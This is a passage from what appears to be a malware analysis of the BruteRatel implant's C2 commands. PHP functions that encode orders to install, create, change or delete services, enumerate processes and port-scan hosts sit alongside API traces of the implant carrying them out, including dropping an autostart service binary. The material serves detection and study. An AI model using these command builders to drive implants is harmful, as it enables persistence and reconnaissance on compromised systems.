[FLD]          -> Mode = 0x0 (PIPE_WAIT | PIPE_READMODE_BYTE | PIPE_TYPE_BYTE | PIPE_ACCEPT_REMOTE_CLIENTS)
[PAR] LPDWORD lpMaxCollectionCount : 0x0
[PAR] LPDWORD lpCollectDataTimeout : 0x0
[RET] [0x9a997288f2]

install_as_service

Download a base64 encoded binary, store it under C:\Windows and install it as an autostart service. The name of the binary has to be the name of the service as well as it’s display name, which could be an easy way to identify services created this way by BruteRatel.

function install_as_service($MachineName, $serviceName, $payload)
{
	$payload_b64 = base64_encode($payload);
	$dropPath = "C:\\Windows\\$serviceName.exe";
	
	$cmd_id = "\x37\xfe $MachineName $dropPath $serviceName $payload_b64";
	$cmd_id_b64 = base64_encode($cmd_id);
	
	return $cmd_id_b64;
}

I. Fetching the order

[CNT] [327]
[PTP] [0x998] [0x978] [c:\windows\system32\rundll32.exe]
[API] <CryptStringToBinaryA> in [crypt32.dll] 
[PAR] LPCTSTR pszString  : 0x0000008CACDF6280
[STR]         -> "vJ7S4O4DWydoZDlAiZKGGsy+WqShSP8fZwzhxBSPMWFX2lIZAzQJ0vneHanoYRIeFoaCfQDJpIZUKbehbdKSe5P3O7IAwai8WsQEfLHgWP7ie4FQ"
[PAR] DWORD   cchString  : 0x0
[PAR] DWORD   dwFlags    : 0x1 (CRYPT_STRING_BASE64)
[PAR] BYTE    *pbBinary  : 0x0000008CACE08B90
[PAR] DWORD   *pcbBinary : 0x0000008CAEDFE7DC
[PAR] DWORD   *pdwSkip   : 0x0
[PAR] DWORD   *pdwFlags  : 0x0
[RET] [0x8caed5bea1]

II. Execution

[CNT] [356]
[PTP] [0x998] [0x6e0] [c:\windows\system32\rundll32.exe]
[API] <CreateFileA> in [KERNEL32.DLL] 
[PAR] LPCTSTR lpFileName            : 0x0000008CACDF7090
[STR]         -> "C:\Windows\evil.exe"
[PAR] DWORD   dwDesiredAccess       : 0x40000000 (GENERIC_WRITE)
[PAR] DWORD   dwCreationDisposition : 0x2 (CREATE_ALWAYS)
[RET] [0x8caed684bb]

[CNT] [357]
[PTP] [0x998] [0x6e0] [c:\windows\system32\rundll32.exe]
[API] <WriteFile> in [KERNEL32.DLL] 
[PAR] HANDLE       hFile                  : 0x2c8
[PAR] LPVOID       lpBuffer               : 0x0000008CACDDC000
[PAR] DWORD        nNumberOfBytesToWrite  : 0x7
[PAR] LPDWORD      lpNumberOfBytesWritten : 0x0000008CAF36EC48
[PAR] LPOVERLAPPED lpOverlapped           : 0x0
[RET] [0x8caed684e9]

[CNT] [376]
[PTP] [0x998] [0x6e0] [c:\windows\system32\rundll32.exe]
[API] <OpenSCManagerA> in [ADVAPI32.dll] 
[PAR] LPCSTR  lpMachineName   : 0x0000008CACDF76D0
[STR]         -> "home"
[PAR] LPCSTR  lpDatabaseName  : 0x0000008CAED788F4
[STR]         -> "ServicesActive"
[PAR] DWORD   dwDesiredAccess : 0xf003f (SC_MANAGER_ALL_ACCESS)
[RET] [0x8caed685ad]

[CNT] [377]
[PTP] [0x998] [0x6e0] [c:\windows\system32\rundll32.exe]
[API] <CreateServiceW> in [ADVAPI32.dll] 
[PAR] SC_HANDLE hSCManager       : 0xace11e70 
[PAR] LPCWSTR   lpServiceName    : 0x0000008CACDFEAD0
[STR]           -> "evil"
[PAR] LPCWSTR   lpDisplayName    : 0x0000008CACDFEAD0
[STR]           -> "evil"
[PAR] DWORD     dwDesiredAccess  : 0xf01ff (SERVICE_ALL_ACCESS)
[PAR] DWORD     dwServiceType    : 0x10 (SERVICE_WIN32_OWN_PROCESS)
[PAR] DWORD     dwStartType      : 0x2 (SERVICE_AUTO_START)
[PAR] LPCWSTR   lpBinaryPathName : 0x0000008CACE11AB0
[STR]           -> "C:\Windows\evil.exe"
[RET] [0x8caed68631]

III. Result

[CNT] [379]
[PTP] [0x998] [0x6e0] [c:\windows\system32\rundll32.exe]
[API] <CryptBinaryToStringW> in [crypt32.dll] 
[PAR] BYTE*  pbBinary   : 0x0000008CACDF3980
[STR]        -> "37FE"
[STR]           "11 home C:\Windows\evil.exe"
[PAR] DWORD  cbBinary   : 0x42
[PAR] DWORD  dwFlags    : 0x40000001 (CRYPT_STRING_NOCRLF | CRYPT_STRING_BASE64)
[PAR] LPWSTR pszString  : 0x0000008CACE123E0
[PAR] DWORD* pcchString : 0x0000008CAF36EB3C
[RET] [0x8caed5e028]

createService

function createService($MachineName, $serviceName, $path)
{
	$cmd_id = "\xe9\x97 $MachineName $serviceName $path";
	$cmd_id_b64 = base64_encode($cmd_id);
	
	return $cmd_id_b64;
}

I. Fetching the order

[CNT] [733]
[PTP] [0x8b4] [0x6d8] [c:\windows\system32\rundll32.exe]
[API] <CryptStringToBinaryA> in [crypt32.dll] 
[PAR] LPCTSTR pszString  : 0x000000F715726200
[STR]         -> "vJ7S4O4DWydoZDlAiZKGGsy+ItH2SP8fZwzhxBSnGmBD8X4ndBskjeX8JLmLOBF6BYmAYj6XjJZ1YpqbTIGRGsqNWcUL/oTW"
[PAR] DWORD   cchString  : 0x0
[PAR] DWORD   dwFlags    : 0x1 (CRYPT_STRING_BASE64)
[PAR] BYTE    *pbBinary  : 0x000000F71574B550
[PAR] DWORD   *pcbBinary : 0x000000F7175AEC5C
[PAR] DWORD   *pdwSkip   : 0x0
[PAR] DWORD   *pdwFlags  : 0x0
[RET] [0xf71750bea1]

II. Execution

[CNT] [745]
[PTP] [0x8b4] [0x6d8] [c:\windows\system32\rundll32.exe]
[API] <OpenSCManagerA> in [ADVAPI32.dll] 
[PAR] LPCSTR  lpMachineName   : 0x000000F715751910
[STR]         -> "home"
[PAR] LPCSTR  lpDatabaseName  : 0x000000F7175288F4
[STR]         -> "ServicesActive"
[PAR] DWORD   dwDesiredAccess : 0xf003f (SC_MANAGER_ALL_ACCESS)
[RET] [0xf71751cc29]

[CNT] [746]
[PTP] [0x8b4] [0x6d8] [c:\windows\system32\rundll32.exe]
[API] <CreateServiceW> in [ADVAPI32.dll] 
[PAR] SC_HANDLE hSCManager       : 0x15751af0 
[PAR] LPCWSTR   lpServiceName    : 0x000000F715741510
[STR]           -> "evil2"
[PAR] LPCWSTR   lpDisplayName    : 0x000000F715741510
[STR]           -> "evil2"
[PAR] DWORD     dwDesiredAccess  : 0xf01ff (SERVICE_ALL_ACCESS)
[PAR] DWORD     dwServiceType    : 0x10 (SERVICE_WIN32_OWN_PROCESS)
[PAR] DWORD     dwStartType      : 0x2 (SERVICE_AUTO_START)
[PAR] LPCWSTR   lpBinaryPathName : 0x000000F715739EE0
[STR]           -> "C:\Windows\evil2.exe"
[RET] [0xf71751ccaf]

III. Result

[CNT] [765]
[PTP] [0x8b4] [0x6d8] [c:\windows\system32\rundll32.exe]
[API] <CryptBinaryToStringW> in [crypt32.dll] 
[PAR] BYTE*  pbBinary   : 0x000000F715751820
[STR]        -> "E997"
[STR]           "11 evil2 home"
[PAR] DWORD  cbBinary   : 0x24
[PAR] DWORD  dwFlags    : 0x40000001 (CRYPT_STRING_NOCRLF | CRYPT_STRING_BASE64)
[PAR] LPWSTR pszString  : 0x000000F715726200
[PAR] DWORD* pcchString : 0x000000F7175AEA2C
[RET] [0xf71750e028]

deleteService

function deleteService($MachineName, $serviceName)
{
	$cmd_id = "\x73\xfa $MachineName $serviceName";
	$cmd_id_b64 = base64_encode($cmd_id);
	
	return $cmd_id_b64;
}

I. Fetching the order

[CNT] [327]
[PTP] [0x93c] [0xbc4] [c:\windows\system32\rundll32.exe]
[API] <CryptStringToBinaryA> in [crypt32.dll] 
[PAR] LPCTSTR pszString  : 0x000000E7B8384E80
[STR]         -> "vJ7S4O4DWydoZDlAiZKGGsy+d6T6SP8fZwzhxBSnGmBD8R9udygI3A=="
[PAR] DWORD   cchString  : 0x0
[PAR] DWORD   dwFlags    : 0x1 (CRYPT_STRING_BASE64)
[PAR] BYTE    *pbBinary  : 0x000000E7B838A260
[PAR] DWORD   *pcbBinary : 0x000000E7BA37EC3C
[PAR] DWORD   *pdwSkip   : 0x0
[PAR] DWORD   *pdwFlags  : 0x0
[RET] [0xe7ba2dbea1]

II. Execution

[CNT] [337]
[PTP] [0x93c] [0xbc4] [c:\windows\system32\rundll32.exe]
[API] <OpenSCManagerA> in [ADVAPI32.dll] 
[PAR] LPCSTR  lpMachineName   : 0x000000E7B8392B80
[STR]         -> "home"
[PAR] LPCSTR  lpDatabaseName  : 0x000000E7BA2F88F4
[STR]         -> "ServicesActive"
[PAR] DWORD   dwDesiredAccess : 0xf003f (SC_MANAGER_ALL_ACCESS)
[RET] [0xe7ba2ecf33]

[CNT] [338]
[PTP] [0x93c] [0xbc4] [c:\windows\system32\rundll32.exe]
[API] <OpenServiceW> in [ADVAPI32.dll] 
[PAR] SC_HANDLE hSCManager      : 0xb839c760 
[PAR] LPCWSTR   lpServiceName   : 0x000000E7B8392BA0
[STR]           -> "evil"
[PAR] DWORD     dwDesiredAccess : 0x10000 (DELETE)
[RET] [0xe7ba2ecf60]

[CNT] [339]
[PTP] [0x93c] [0xbc4] [c:\windows\system32\rundll32.exe]
[API] <DeleteService> in [ADVAPI32.dll] 
[PAR] SC_HANDLE hService : 0xb839cac0
[RET] [0xe7ba2ecf75]

III. Result

[CNT] [357]
[PTP] [0x93c] [0xbc4] [c:\windows\system32\rundll32.exe]
[API] <CryptBinaryToStringW> in [crypt32.dll] 
[PAR] BYTE*  pbBinary   : 0x000000E7B839C790
[STR]        -> "73FA"
[STR]           "11 evil home"
[PAR] DWORD  cbBinary   : 0x22
[PAR] DWORD  dwFlags    : 0x40000001 (CRYPT_STRING_NOCRLF | CRYPT_STRING_BASE64)
[PAR] LPWSTR pszString  : 0x000000E7B8376660
[PAR] DWORD* pcchString : 0x000000E7BA37EA6C
[RET] [0xe7ba2de028]

changeServiceConfig

function changeServiceConfig($MachineName, $serviceName, $BinaryPathName)
{
	$cmd_id = "\x3e\x3b $MachineName $serviceName $BinaryPathName";
	$cmd_id_b64 = base64_encode($cmd_id);
	
	return $cmd_id_b64;
}

I. Fetching the order

[CNT] [395]
[PTP] [0x72c] [0x9f0] [c:\windows\system32\rundll32.exe]
[API] <CryptStringToBinaryA> in [crypt32.dll] 
[PAR] LPCTSTR pszString  : 0x000000CF653C4290
[STR]         -> "vJ7S4O4DWydoZDlAiZKGGsy+ROHmSP8fZwzhxBSnGmBD8XoJe2kzp/nUJ4PsJRd6L5C8YlGVj7g3d7OxT4jna7bHFtg="
[PAR] DWORD   cchString  : 0x0
[PAR] DWORD   dwFlags    : 0x1 (CRYPT_STRING_BASE64)
[PAR] BYTE    *pbBinary  : 0x000000CF653D2060
[PAR] DWORD   *pcbBinary : 0x000000CF6724EB9C
[PAR] DWORD   *pdwSkip   : 0x0
[PAR] DWORD   *pdwFlags  : 0x0
[RET] [0xcf671abea1]

II. Execution

[CNT] [407]
[PTP] [0x72c] [0x9f0] [c:\windows\system32\rundll32.exe]
[API] <OpenSCManagerA> in [ADVAPI32.dll] 
[PAR] LPCSTR  lpMachineName   : 0x000000CF653F3CC0
[STR]         -> "home"
[PAR] LPCSTR  lpDatabaseName  : 0x000000CF671C88F4
[STR]         -> "ServicesActive"
[PAR] DWORD   dwDesiredAccess : 0xf003f (SC_MANAGER_ALL_ACCESS)
[RET] [0xcf671bd231]

[CNT] [408]
[PTP] [0x72c] [0x9f0] [c:\windows\system32\rundll32.exe]
[API] <OpenServiceW> in [ADVAPI32.dll] 
[PAR] SC_HANDLE hSCManager      : 0x653f3ae0 
[PAR] LPCWSTR   lpServiceName   : 0x000000CF653DEA50
[STR]           -> "evil"
[PAR] DWORD     dwDesiredAccess : 0xf01ff (SERVICE_ALL_ACCESS)
[RET] [0xcf671bd260]

[CNT] [411]
[PTP] [0x72c] [0x9f0] [c:\windows\system32\rundll32.exe]
[API] <QueryServiceConfigW> in [ADVAPI32.dll] 
[PAR] SC_HANDLE               hService        : 0x000000CF653F3840
[PAR] LPQUERY_SERVICE_CONFIGW lpServiceConfig : 0x000000CF653F2400
[PAR] DWORD                   cbBufSize       : 0xd8
[PAR] LPDWORD                 pcbBytesNeeded  : 0x000000CF6724EA6C
[RET] [0xcf671bd2c5]

[CNT] [412]
[PTP] [0x72c] [0x9f0] [c:\windows\system32\rundll32.exe]
[API] <ChangeServiceConfigW> in [ADVAPI32.dll] 
[PAR] SC_HANDLE hService           : 0x653f3840
[PAR] DWORD     dwServiceType      : 0xffffffff (SERVICE_NO_CHANGE)
[PAR] DWORD     dwStartType        : 0x3 (SERVICE_DEMAND_START)
[PAR] LPCWSTR   lpBinaryPathName   : 0x000000CF653F3B70
[STR]           -> "c:\Windows\toto.exe"
[PAR] LPCWSTR   lpServiceStartName : 0x0 (null)
[RET] [0xcf671bd33b]

[CNT] [413]
[PTP] [0x72c] [0x9f0] [c:\windows\system32\rundll32.exe]
[API] <StartServiceA> in [ADVAPI32.dll] 
[PAR] SC_HANDLE hService            : 0x000000CF653F3840
[PAR] DWORD     dwNumServiceArgs    : 0x0
[PAR] LPCTSTR*  lpServiceArgVectors : 0x0
[RET] [0xcf671bd351]

III. Result

[CNT] [423]
[PTP] [0x72c] [0x9f0] [c:\windows\system32\rundll32.exe]
[API] <CryptBinaryToStringW> in [crypt32.dll] 
[PAR] BYTE*  pbBinary   : 0x000000CF653D2A60
[STR]        -> "3E3B"
[STR]           "CCCCCCC"
[STR]           "c:\Windows\toto.exe"
[PAR] DWORD  cbBinary   : 0x42
[PAR] DWORD  dwFlags    : 0x40000001 (CRYPT_STRING_NOCRLF | CRYPT_STRING_BASE64)
[PAR] LPWSTR pszString  : 0x000000CF653F4C40
[PAR] DWORD* pcchString : 0x000000CF6724E95C
[RET] [0xcf671ae028]

GetProcessInfo

function GetProcessInfo($processName)
{
	$cmd_id = "\x62\xc6 $processName";
	$cmd_id_b64 = base64_encode($cmd_id);
	
	return $cmd_id_b64;
}

I. Fetching the order

[CNT] [361]
[PTP] [0xae8] [0x2d8] [c:\windows\system32\rundll32.exe]
[API] <CryptStringToBinaryA> in [crypt32.dll] 
[PAR] LPCTSTR pszString  : 0x00000039450B2900
[STR]         -> "vJ7S4O4DWydoZDlAiZKGGsy+TfjMSMQANg/Z0G+yJFVm92kWXjNHwdzTJtM="
[PAR] DWORD   cchString  : 0x0
[PAR] DWORD   dwFlags    : 0x1 (CRYPT_STRING_BASE64)
[PAR] BYTE    *pbBinary  : 0x00000039450B6A00
[PAR] DWORD   *pcbBinary : 0x000000394700E61C
[PAR] DWORD   *pdwSkip   : 0x0
[PAR] DWORD   *pdwFlags  : 0x0
[RET] [0x3946f6bea1]

II. Execution

[CNT] [369]
[PTP] [0xae8] [0x2d8] [c:\windows\system32\rundll32.exe]
[API] <RtlAdjustPrivilege> in [ntdll.dll] 
[PAR] ULONG    Privilege  : 0x14
[PAR] BOOLEAN  Enable     : 0x1
[PAR] BOOLEAN  Client     : 0x0
[PAR] PBOOLEAN WasEnabled : 0x000000394700DC0C
[RET] [0x3946f69a5c]

[CNT] [370]
[PTP] [0xae8] [0x2d8] [c:\windows\system32\rundll32.exe]
[API] <CreateToolhelp32Snapshot> in [KERNEL32.DLL] 
[PAR] DWORD dwFlags       : 0x2 ( TH32CS_SNAPPROCESS)
[PAR] DWORD th32ProcessID : 0x0
[RET] [0x3946f78807]

[ * ] [pid 0xae8][tid 0x2d8] c:\windows\system32\rundll32.exe
[API] <Process32NextW>
[PAR] LPPROCESSENTRY32W lppe : 0x000000394700E2F8
[FLD]                   -> th32ProcessID = 0x4
[FLD]                   -> szExeFile     = "System"
[RES] BOOL 0x1

[ * ] [pid 0xae8][tid 0x2d8] c:\windows\system32\rundll32.exe
[API] <Process32NextW>
[PAR] LPPROCESSENTRY32W lppe : 0x000000394700E2F8
[FLD]                   -> th32ProcessID = 0x118
[FLD]                   -> szExeFile     = "smss.exe"
[RES] BOOL 0x1

[...]

[ * ] [pid 0xae8][tid 0x2d8] c:\windows\system32\rundll32.exe
[API] <Process32NextW>
[PAR] LPPROCESSENTRY32W lppe : 0x000000394700E2F8
[FLD]                   -> th32ProcessID = 0x5a8
[FLD]                   -> szExeFile     = "explorer.exe"
[RES] BOOL 0x1

[CNT] [443]
[PTP] [0xae8] [0x2d8] [c:\windows\system32\rundll32.exe]
[/!\] [ Attempt to bypass hooked API detected ! ]
[API] <NtOpenProcess> in [ntdll.dll] 
[PAR] PHANDLE             ProcessHandle    : 0x000000394700DC98
[PAR] ACCESS_MASK         DesiredAccess    : 0x410 (PROCESS_VM_READ | PROCESS_QUERY_INFORMATION)
[PAR] POBJECT_ATTRIBUTES  ObjectAttributes : 0x000000394700DCB0
[PAR] PCLIENT_ID          ClientId         : 0x000000394700DCA0
[RET] [0x3946f84aab]

[CNT] [444]
[PTP] [0xae8] [0x2d8] [c:\windows\system32\rundll32.exe]
[/!\] [ Attempt to bypass hooked API detected ! ]
[API] <NtOpenProcessToken> in [ntdll.dll] 
[PAR] HANDLE      ProcessHandle : 0x2f8
[PAR] ACCESS_MASK DesiredAccess : 0x8 (TOKEN_QUERY)
[PAR] PHANDLE     TokenHandle   : 0x000000394700DC78
[RET] [0x3946f84b2f]

[CNT] [446]
[PTP] [0xae8] [0x2d8] [c:\windows\system32\rundll32.exe]
[API] <GetTokenInformation> in [ADVAPI32.dll] 
[PAR] HANDLE                  TokenHandle            : 0x2fc
[PAR] TOKEN_INFORMATION_CLASS TokenInformationClass  : 0x1(TokenUser)
[PAR] LPVOID                  TokenInformation       : 0x00000039450B6040
[PAR] DWORD                   TokenInformationLength : 0x2c
[PAR] PDWORD                  ReturnLength           : 0x000000394700DC64
[RET] [0x3946f789f5]

[CNT] [447]
[PTP] [0xae8] [0x2d8] [c:\windows\system32\rundll32.exe]
[API] <LookupAccountSidW> in [ADVAPI32.dll] 
[PAR] LPCWSTR       lpSystemName            : 0x0 (null)
[PAR] PSID          lpSid                   : 0x00000039450B6050
[PAR] LPTSTR        lpName                  : 0x000000394700DCE0
[PAR] LPDWORD       cchName                 : 0x000000394700DC68
[PAR] LPTSTR        lpReferencedDomainName  : 0x000000394700DEE8
[PAR] LPDWORD       cchReferencedDomainName : 0x000000394700DC68
[PAR] PSID_NAME_USE peUse                   : 0x000000394700DC6C
[RET] [0x3946f78a39]

[CNT] [448]
[PTP] [0xae8] [0x2d8] [c:\windows\system32\rundll32.exe]
[API] <IsWow64Process> in [KERNEL32.DLL] 
[PAR] HANDLE hProcess     : 0x2f8
[PAR] PBOOL  Wow64Process : 0x000000394700DC70
[RET] [0x3946f78a66]

III. Result

[CNT] [487]
[PTP] [0xae8] [0x2d8] [c:\windows\system32\rundll32.exe]
[API] <CryptBinaryToStringW> in [crypt32.dll] 
[PAR] BYTE*  pbBinary   : 0x00000039450C7D10
[STR]        -> "62C6"
[STR]           "1424 1448 x64 home\user explorer.exe"
[PAR] DWORD  cbBinary   : 0x54
[PAR] DWORD  dwFlags    : 0x40000001 (CRYPT_STRING_NOCRLF | CRYPT_STRING_BASE64)
[PAR] LPWSTR pszString  : 0x00000039450AFF40
[PAR] DWORD* pcchString : 0x000000394700DB9C
[RET] [0x3946f6e028]

port_scan

// ex: port_scan("tiguanin.com", "8041 80 42");
function port_scan($hostname, $ports)
{
	$cmd_id = "\x91\xe5 $hostname $ports";
	$cmd_id_b64 = base64_encode($cmd_id);
	
	return $cmd_id_b64;
}

I. Fetching the order

[CNT] [327]
[PTP] [0x598] [0x9d0] [c:\windows\system32\rundll32.exe]
[API] <CryptStringToBinaryA> in [crypt32.dll] 
[PAR] LPCTSTR pszString  : 0x000000390F0F91C0
[STR]         -> "vJ7S4O4DWydoZDlAiZKGGsy+f+7ASPofMhbfwBC+H1ob92p8DysipfrTC6r7NDwNIJSWYSGYweFDbLXL"
[PAR] DWORD   cchString  : 0x0
[PAR] DWORD   dwFlags    : 0x1 (CRYPT_STRING_BASE64)
[PAR] BYTE    *pbBinary  : 0x000000390F0E28B0
[PAR] DWORD   *pcbBinary : 0x0000003910FCE8BC
[PAR] DWORD   *pdwSkip   : 0x0
[PAR] DWORD   *pdwFlags  : 0x0
[RET] [0x3910f2bea1]

II. Execution

[CNT] [358]
[PTP] [0x598] [0x600] [c:\windows\system32\rundll32.exe]
[API] <inet_pton> in [ws2_32.dll] 
[PAR] INT   Family        : 0x2 (AF_INET) (IPv4)
[PAR] PCSTR pszAddrString : 0x000000390F0EC740
[STR]       -> "tiguanin.com"
[PAR] PVOID pAddrBuf      : 0x000000391151F134
[RET] [0x3910f36822]

[CNT] [359]
[PTP] [0x598] [0x600] [c:\windows\system32\rundll32.exe]
[API] <gethostbyname> in [ws2_32.dll] 
[PAR] PCHAR name : 0x000000390F0EC740
[STR]       -> "tiguanin.com"
[RET] [0x3910f36835]

[CNT] [374]
[PTP] [0x598] [0x600] [c:\windows\system32\rundll32.exe]
[API] <socket> in [ws2_32.dll] 
[PAR] int address_family : 0x2 (AF_INET) (IPv4)
[PAR] int type           : 0x1 (SOCK_STREAM)
[PAR] int protocol       : 0x6 (IPPROTO_TCP)
[RET] [0x3910f3696a]

[CNT] [375]
[PTP] [0x598] [0x600] [c:\windows\system32\rundll32.exe]
[API] <htons> in [ws2_32.dll] 
[PAR] u_short hostshort  : 8041 (0x1f69)
[RET] [0x3910f36986]

[CNT] [376]
[PTP] [0x598] [0x600] [c:\windows\system32\rundll32.exe]
[API] <connect> in [ws2_32.dll] 
[PAR] SOCKET          s       : 0x2c8
[PAR] struct sockaddr *name   : 0x000000391151F150
[FLD]          -> sin_family   : 2 (IPv4)
[FLD]          -> sin_port     : 26911 (Little endian : 8041)
[FLD]          -> sin_addr     : 169.254.143.46
[PAR] int             namelen : 0x10
[RET] [0x3910f3699d]

[CNT] [385]
[PTP] [0x598] [0x600] [c:\windows\system32\rundll32.exe]
[API] <closesocket> in [ws2_32.dll] 
[PAR] SOCKET       s : 0x2c8
[RET] [0x3910f369fc]

[CNT] [387]
[PTP] [0x598] [0x600] [c:\windows\system32\rundll32.exe]
[API] <socket> in [ws2_32.dll] 
[PAR] int address_family : 0x2 (AF_INET) (IPv4)
[PAR] int type           : 0x1 (SOCK_STREAM)
[PAR] int protocol       : 0x6 (IPPROTO_TCP)
[RET] [0x3910f3696a]

[CNT] [388]
[PTP] [0x598] [0x600] [c:\windows\system32\rundll32.exe]
[API] <htons> in [ws2_32.dll] 
[PAR] u_short hostshort  : 80 (0x50)
[RET] [0x3910f36986]

[CNT] [389]
[PTP] [0x598] [0x600] [c:\windows\system32\rundll32.exe]
[API] <connect> in [ws2_32.dll] 
[PAR] SOCKET          s       : 0x2c8
[PAR] struct sockaddr *name   : 0x000000391151F150
[FLD]          -> sin_family   : 2 (IPv4)
[FLD]          -> sin_port     : 20480 (Little endian : 80)
[FLD]          -> sin_addr     : 169.254.143.46
[PAR] int             namelen : 0x10
[RET] [0x3910f3699d]

[CNT] [398]
[PTP] [0x598] [0x600] [c:\windows\system32\rundll32.exe]
[API] <closesocket> in [ws2_32.dll] 
[PAR] SOCKET       s : 0x2c8
[RET] [0x3910f369fc]

[CNT] [400]
[PTP] [0x598] [0x600] [c:\windows\system32\rundll32.exe]
[API] <socket> in [ws2_32.dll] 
[PAR] int address_family : 0x2 (AF_INET) (IPv4)
[PAR] int type           : 0x1 (SOCK_STREAM)
[PAR] int protocol       : 0x6 (IPPROTO_TCP)
[RET] [0x3910f3696a]

[CNT] [401]
[PTP] [0x598] [0x600] [c:\windows\system32\rundll32.exe]
[API] <htons> in [ws2_32.dll] 
[PAR] u_short hostshort  : 42 (0x2a)
[RET] [0x3910f36986]

[CNT] [402]
[PTP] [0x598] [0x600] [c:\windows\system32\rundll32.exe]
[API] <connect> in [ws2_32.dll] 
[PAR] SOCKET          s       : 0x2c8
[PAR] struct sockaddr *name   : 0x000000391151F150
[FLD]          -> sin_family   : 2 (IPv4)
[FLD]          -> sin_port     : 10752 (Little endian : 42)
[FLD]          -> sin_addr     : 169.254.143.46
[PAR] int             namelen : 0x10
[RET] [0x3910f3699d]

III. Result

[CNT] [414]
[PTP] [0x598] [0x600] [c:\windows\system32\rundll32.exe]
[API] <CryptBinaryToStringW> in [crypt32.dll] 
[PAR] BYTE*  pbBinary   : 0x000000390F0E51B0
[STR]        -> "91E5"
[STR]           "11 tiguanin.com 169.254.143.46"
[STR]           "11 8041"
[STR]           "11 80"
[STR]           "12 42"
[PAR] DWORD  cbBinary   : 0x70
[PAR] DWORD  dwFlags    : 0x40000001 (CRYPT_STRING_NOCRLF | CRYPT_STRING_BASE64)
[PAR] LPWSTR pszString  : 0x000000390F0F6FF0
[PAR] DWORD* pcchString : 0x000000391151F07C
[RET] [0x3910f2e028]